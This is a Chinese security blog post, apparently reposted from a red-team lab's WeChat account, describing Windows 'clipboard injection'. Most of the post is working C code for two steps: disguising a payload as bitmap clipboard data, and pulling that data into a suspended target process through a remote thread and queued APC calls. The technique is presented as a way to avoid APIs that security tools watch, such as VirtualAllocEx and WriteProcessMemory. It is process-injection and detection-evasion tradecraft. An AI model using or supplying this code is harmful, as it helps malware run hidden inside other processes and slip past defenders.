安全研发之剪贴板注入
2023-4-30 08:11:5 Author: 灰帽安全(查看原文) 阅读量:13 收藏

前言

Windows 剪贴板允许我们以各种不同的格式存储数据,这样可以避免在注入执行 payload 的过程中使用一些比较敏感的 API,比如:VirtualAllocEx、WriteProcessMemory 等。

实现原理

使用 Windows 剪贴板将 pyaload 伪装为位图数据传递到另一个进程中,最后调用执行。

实现步骤
  • 挂起创建目标进程

  • 将 payload 转换为位图格式,并存储在 Windows 剪贴板中

  • 通过剪切板将全部 payload 拷贝到目标进程中

  • 待全部拷贝完成后,执行 payload

关键代码

将 payload 伪装为位图数据格式

DWORD EncodeBitmapData(BYTE* pData, DWORD dwLength, DWORD* pdwBitmapDataOffset)
{
   BITMAPINFOHEADER BitmapInfoHeader;
   BYTE bCurrByte = 0;
   DWORD dwBitmapHeight = 0;
   DWORD dwTotalPixelCount = 0;
   DWORD dwRowPaddingBytes = 0;
   RGBQUAD ColourTable[256];
   HGLOBAL hBitmapData = NULL;
   BYTE* pBitmapData = NULL;

   // calculate image height
   dwBitmapHeight = dwLength / ENCODE_BITMAP_WIDTH;
   if (dwLength % ENCODE_BITMAP_WIDTH != 0)
       dwBitmapHeight++;

   // calculate number of pixels
   dwTotalPixelCount = (ENCODE_BITMAP_WIDTH * dwBitmapHeight);

   // create bitmap info header
   memset((void*)&BitmapInfoHeader, 0, sizeof(BitmapInfoHeader));
   BitmapInfoHeader.biSize = sizeof(BitmapInfoHeader);
   BitmapInfoHeader.biWidth = ENCODE_BITMAP_WIDTH;
   BitmapInfoHeader.biHeight = dwBitmapHeight;
   BitmapInfoHeader.biPlanes = 1;
   BitmapInfoHeader.biBitCount = 8;
   BitmapInfoHeader.biCompression = BI_RGB;
   BitmapInfoHeader.biSizeImage = 0;
   BitmapInfoHeader.biXPelsPerMeter = 0;
   BitmapInfoHeader.biYPelsPerMeter = 0;
   BitmapInfoHeader.biClrUsed = 256;
   BitmapInfoHeader.biClrImportant = 0;

   // calculate row padding (each image row must be dword aligned)
   dwRowPaddingBytes = 4 - ((ENCODE_BITMAP_WIDTH * (BitmapInfoHeader.biBitCount / 8)) % 4);
   if (dwRowPaddingBytes == 4)
       dwRowPaddingBytes = 0;

   // create 8-bit colour table (256 colours)
   for (DWORD i = 0; i < 256; i++)
  {
       ColourTable[i].rgbRed = (BYTE)i;
       ColourTable[i].rgbGreen = (BYTE)i;
       ColourTable[i].rgbBlue = (BYTE)i;
       ColourTable[i].rgbReserved = 0;
  }

   // allocate memory for clipboard
   hBitmapData = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, sizeof(BitmapInfoHeader) + sizeof(ColourTable) + dwLength);
   if (hBitmapData == NULL)
  {
       // error
       return 1;
  }

   // lock clipboard buffer for writing
   pBitmapData = (BYTE*)GlobalLock(hBitmapData);
   if (pBitmapData == NULL)
  {
       // error
       GlobalFree(hBitmapData);

       return 1;
  }

   // write data to clipboard buffer
   memcpy((void*)pBitmapData, (void*)&BitmapInfoHeader, sizeof(BitmapInfoHeader));
   memcpy((void*)(pBitmapData + sizeof(BitmapInfoHeader)), (void*)&ColourTable[0], sizeof(ColourTable));
   memcpy((void*)(pBitmapData + sizeof(BitmapInfoHeader) + sizeof(ColourTable)), (void*)pData, dwLength);

   // unlock buffer
   GlobalUnlock(hBitmapData);

   // open clipboard
   if (OpenClipboard(NULL) == 0)
  {
       // error
       GlobalFree(hBitmapData);

       return 1;
  }

   // clear existing clipboard data
   if (EmptyClipboard() == 0)
  {
       // error
       CloseClipboard();
       GlobalFree(hBitmapData);

       return 1;
  }

   // set clipboard data
   if (SetClipboardData(CF_DIB, hBitmapData) == NULL)
  {
       // error
       CloseClipboard();
       GlobalFree(hBitmapData);

       return 1;
  }

   // close clipboard
   CloseClipboard();

   // store data offset
   *pdwBitmapDataOffset = sizeof(BitmapInfoHeader) + sizeof(ColourTable);

   return 0;
}

将 payload 数据拷贝到目标进程中,该段代码就是在目标进程中创建一个挂起的线程配合 APC 机制去不断地获取剪切板的数据

DWORD TransferDataOverClipboard(HANDLE hProcess, DWORD* pdwClipboardDataPtr)
{
   HANDLE hThread = NULL;
   DWORD dwThreadID = 0;
   DWORD dwExitCode = 0;

   // create suspended thread in remote process
   if (pNtCreateThreadEx(&hThread, NT_CREATE_THREAD_EX_ALL_ACCESS, NULL, hProcess, (LPVOID)GetClipboardData, (LPVOID)CF_DIB, NT_CREATE_THREAD_EX_SUSPENDED, NULL, 0, 0, NULL) != 0)
       return 1;

   // queue OpenClipboard to execute when the thread resumes
   if (QueueUserAPC((PAPCFUNC)OpenClipboard, hThread, 0) == 0)
  {
       // error
       TerminateThread(hThread, 0);
       CloseHandle(hThread);

       return 1;
  }

   // resume thread - this will call OpenClipboard(NULL) and then the original entry point: GetClipboardData(CF_DIB)
   if (ResumeThread(hThread) == 0xFFFFFFFF)
  {
       // error
       TerminateThread(hThread, 0);
       CloseHandle(hThread);

       return 1;
  }

   // wait for thread to exit
   if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0)
  {
       // error
       TerminateThread(hThread, 0);
       CloseHandle(hThread);

       return 1;
  }

   // get GetClipboardData return value
   if (GetExitCodeThread(hThread, &dwExitCode) == 0)
  {
       // error
       CloseHandle(hThread);

       return 1;
  }

   // close thread handle
   CloseHandle(hThread);

   // check if GetClipboardData failed
   if (dwExitCode == 0)
       return 1;

   // store ptr
   *pdwClipboardDataPtr = dwExitCode;

   return 0;
}

测试执行

使用测试 payload 进行测试,最终 payload 成功执行并弹出计算器。

小结

剪切板属于一种进程间通信技术,通过利用剪切板在不同进程间传递数据,这样避免了一些敏感的 API 调用,VirtualAllocEx、WriteProcessMemory 等。

丈八网安蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2MjYxODQ4Mw==&mid=2247484774&idx=1&sn=1ada6313016b5607538038b623289943&chksm=ce04537af973da6c3730e22e88f21d206e301b00241cd27b6b18e7d0d4049a998da09f9d1b01#rd
如有侵权请联系:admin#unsafe.sh